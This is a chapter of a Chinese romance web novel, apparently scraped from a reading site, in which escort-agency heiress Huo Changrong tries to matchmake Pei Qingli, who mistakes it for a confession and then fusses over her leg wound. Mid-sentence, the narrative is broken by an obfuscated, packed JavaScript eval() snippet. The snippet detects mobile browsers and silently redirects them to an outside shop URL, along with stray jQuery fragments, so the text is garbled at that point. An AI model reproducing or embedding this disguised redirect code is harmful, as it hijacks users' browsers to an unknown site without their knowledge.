咚咚咚——
霍长容回到自己的房间,凳子都还未坐热,房门就被敲响了。
一开门,只见裴卿礼面无表情拿着金疮药。
“这是给我的?金谷公子你可真是好人啊!”
看到金疮药,霍长容眼睛冒着光。
她认得这瓷瓶,莹白瓷身泛着草绿,瓶底拓印着“春源堂”三字。
春源堂的云苓大夫可是大祁鼎鼎有名的神医圣手,据说能活死人肉白骨。想当初阿娘也曾进京,欲拜在云苓大夫门下习医术,奈何云苓大夫不收徒,才作罢。
春源堂的药一副难求,尤其是金疮药,更是难上加上。一小瓶金疮药,能卖到一百两银子。
如今金谷就这般轻易把“一百两”银子送与她,好人啊!
“公子你为人仗义,待友慷慨,简直是吾辈之楷模啊。”
霍长容眼睛微睁,上下打量着人。
都说肥水不流外人田,霍长容脑子的算盘开始拨动起来。
“出息。”
裴卿礼原本冷硬的眉梢微挑,嘴角不自觉弯了弯。
“容我冒昧一问,不知公子可有婚配?”
霍长容神神秘秘凑近,压低声音。
轰——
裴卿礼耳朵泛痒,又烫又麻。
丧彪这是何意?莫不是要亲口跟他表明心意了?若丧彪真的开口,他该如何应对?
裴卿礼嘴巴张了张,一个字都说不出来。
“金谷公子,我瞧着你风流倜傥、气宇轩昂,实乃佳婿人选,公子若不嫌弃,在下可以……”
“不可!”
不待霍长容说完,裴卿礼手心堵住了霍长容的嘴。
“我知你心意,但此事万万不可。你若执意如此,我们日后连朋友都当不成。你好自为之,此事休要再提。”
裴卿礼心都要跳出来了。
丧彪当真是大胆,竟不顾一切要对他表明心意,可他却无法回应丧彪的这份情。
既然注定无果,不如止于初生之芽,对谁都好。
“你好好养伤吧。”
把金疮药塞到霍长容手上,裴卿礼一刻不敢停留,转身就狼狈离开。
看着那个一瘸一拐仓皇离开的背影,霍长容扁嘴。
不就是想撮合一段姻缘嘛,至于这般呵斥她?
捏着金疮药瓶,霍长容恍然大悟。
是她想当然了,世家子弟的婚姻大多是父母之命,娶的也是门当户对的贵女。金谷家世不俗,家中肯定已经安排了亲事,不怪金谷不悦。
初次当冰人就以失败告终,霍长容叹了一口气,她还是送她的镖,当好镖局少东家吧。
“少东家,官府已经把黑店的这几人收押了,马车也修好了,咱们可以启程了。”
在客栈又耽搁了一日,东风镖局终于要再次上路了。
骑在马背上,霍长容手一挥,新添了两辆马车的队伍缓缓出发。
“卿礼,你这几日魂不守舍,还总盯着丧彪看。你老实交代,是不是有事瞒着我?”
坐上改装过的奢华马车,傅之珩舒坦躺下,但看到一旁的好友掀开马车帘子往外看,傅之珩狐疑看着人。
“我哪有事瞒着你啊,不过是想着该如何报答丧彪的救命之恩。在山上那几日,若不是丧彪,我都要命丧野兽之口了。”
“下山也是他不辞辛苦背着我,他因此还受了伤,我心中有些过意不去罢了。”
裴卿礼不自然放下马车帘子,借口要报恩敷衍着傅之珩的追问。
他跟丧彪之间的事,决不能让外人知晓。
“丧彪最是贪财,你若想报恩,给银子便是。”
傅之珩手枕在脑后,不以为意。
“只给银子,不足以显诚意。我看,我还是亲自照看,不然我不放心。”
裴卿礼垂首,心中有了主意。
一来算是报恩,二来也可以防着丧彪做一些出格之事。把丧彪放在眼皮底下盯着,他才放心。
“丧彪皮糙肉厚,又死不了,何须你亲自照顾,还是用银子打发便好。”
傅之珩摇头,不赞同裴卿礼以身入局。
“我意已决。”
裴卿礼再次掀开马车帘子,远远看着骑马走在队伍最前面的那道人影。
“我算是发现了,丧彪克你。一遇到跟丧彪有关的事,你就变了一个人似的。”
傅之珩摇头,继续躺回到软垫上。
裴卿礼怔了一下。
丧彪对他的影响,竟已不知不觉这般大了吗?
不,他只是不想让人发现丧彪对他的心思而已。他为了自己,才不得已这般遮遮掩掩罢了。
没错,就是这样。
“丧彪不是克我,他是克你。别忘了,他手上还握着你摁了手印的欠契,你还是好好想想,如何跟你爹娘交代吧。”
裴卿礼不想继续跟傅之珩纠缠,转而提起了欠契之事。
傅之珩这几日太闲了,以至于一直盯着他跟丧彪,得找些事让傅之珩做才行。
听到“欠契”二字,傅之珩脸都白了。
“好兄弟,如今之计,只能你能帮我了。若是被我爹娘知晓我欠了丧彪这么多银子,怕是要罚我跪祠堂,太丢脸了。”
傅之珩起身,紧紧抓着裴卿礼的手臂,急得手心冒汗。
“我能有什么办法,我手头也没有那么多银子可以借你。求我还不如求贵妃娘娘,贵妃娘娘疼你,定会帮你出了这银子的。”
裴卿礼出着馊主意。
丧彪贪财,他定然不会断了丧彪的财路。左右是傅家人出银子,他不在乎是谁出。
“对啊,我怎么没想到,姑母疼我,一定会帮我的。卿礼,还是你想得周到。”
傅之珩兴奋得直拍大腿。
困扰好些时日的问题,终于有解决之法了。
“不过你别高兴太早,目前欠契上,你只欠了一万两。若你这一路惹恼了丧彪,欠契上的银两定然会加多。到时即便是贵妃娘娘,恐怕也不会帮你,届时就不是罚跪祠堂而已了。”
裴卿礼挣脱傅之珩的手,声音阴仄仄。
傅之珩瞳孔震惊,唇色都吓发白了。
“我,我这一路就躲在马车中,不跟他碰面,避着他还不成嘛。”
咽了咽口水,傅之珩缩成一团,身上的嚣张气焰消失一空。
这几日丧彪对他和颜悦色,以至于他太得意忘形,忘了丧彪的本性。
傅之珩蔫了,眼神呆滞,再也分不出心思去想其他事。
裴卿礼垂首藏笑,拂了拂被傅之珩抓过的衣袖。
他不喜跟人靠这般近。
“你腿上伤未好,不宜饮酒。”
镖局车队赶了一天路,终是在一处相熟的客栈住店。
累了一天,霍长容跟镖师们一桌,欲喝上几杯酒解乏。
可酒刚满上,裴卿礼却从另一桌起身,摁住了霍长容拿酒杯的手。
“对对对,金谷公子说的没错,少东家你的伤未好,喝酒会影响伤口愈合。”
“少东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818637|210852||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家,怪我们大意,忘了你身上还有伤,这酒还是等你伤好再喝吧。”
同桌的镖师们极有眼力见,把霍长容的酒给端走了。
“我不喝还不成嘛。”
霍长容也不是非酒不可,不过是今日的下酒菜有酱牛肉、烧鸭、叫花鸡、花生,喝酒才痛快。
罢了,不喝酒,那便配着大米饭吃吧。
见霍长容听劝不继续饮酒,裴卿礼这才坐下来用饭。
“卿礼,你胆子越来越肥了,都敢去阻止丧彪喝酒了。敬你是个英雄!”
傅之珩看着气定神闲用饭的裴卿礼,竖起了大拇指。
“丧彪于我有恩,我不能眼睁睁看着他伤口恶化加重。”
裴卿礼一派理所当然。
既然他说过要亲自照顾丧彪,直到丧彪伤好,他就会兑现诺言。
丧彪大事有勇有谋,但涉及自身安危却粗枝大叶。
他得多看着点才行,不然依着丧彪那荤素不忌大大咧咧的性子,其腿上的伤猴年马月都好不了。
傅之珩还欲说些什么,裴卿礼塞了一根骨头进其嘴里。
傅之珩彻底不说话了。
翌日,镖局一行人在客栈用过朝食之后,便启程赶路。临近天黑,花开猎得一只羊,大家伙便就地挖坑做饭。
喝羊汤、炖羊肉,飘香十里。
霍长容正欲大快朵颐之时,裴卿礼幽幽站到身后。
“羊肉是发物,你伤口本就有些红肿,若再吃羊肉,只会更甚。”
手拿着羊腿肉,霍长容吃也不是不吃也不是。
“知道你无肉不欢,我烤了一只兔子,你吃这个吧,”
裴卿礼从身后拿出一只烤得焦黄酥脆的兔子,递到霍长容手上。
直到人离开了,霍长容才反应过来。
这个金谷走路都没声的吗?刚刚吓了她一跳。
昨日不许她饮酒,今日又不让她吃羊肉,管得未免有些宽了吧。
不过手上兔子香味不断往鼻子里钻,霍长容终究把羊腿给其他镖师吃了。
算了,到底是为了她好,总不能拂了人家的好意。
狠狠撕咬着兔肉,霍长容大口咽下了。
但连着两次被人阻拦,霍长容心口憋了一团气,急需发泄出来。
“富贵,随我去猎一头野猪回来。”
霍长容背上弓箭就往林子里钻。
一炷香之后,霍长容和富贵兴高采烈拖着一头小山一般高的野猪回来。
裴卿礼鼻子却嗅了嗅,嘴角沉了下来。
猪血跟人血,他还是分得清的。
“你伤口裂开了。”
裴卿礼冷着脸,拉着霍长容到自己的马车旁。
“明知腿上伤口未愈合,为何还要逞强打猎?更何况野猪蛮壮,嘴上獠牙更是凶险,一旦你跑得慢一些,后果不堪设想。”
“你为何不能好好听话,多爱惜自己的身子一些?你知不知道你很让人担心?”
裴卿礼黑着脸,不断数落着人。
“够了!”
霍长容好不容易才将心中那团憋屈的火给熄灭,现在又被裴卿礼的责怪给点燃了。
“这也不能吃,那也不能做,你是我什么人啊,管这么多!”
霍长容气得将马鞭丢在地上。
啰嗦又唠叨,她耳朵都长茧子了。
还管这管那,什么都拘着她,真是憋得慌。
金谷于她而言,只是一个雇主而已,又不是她什么亲近之人,凭什么管她?!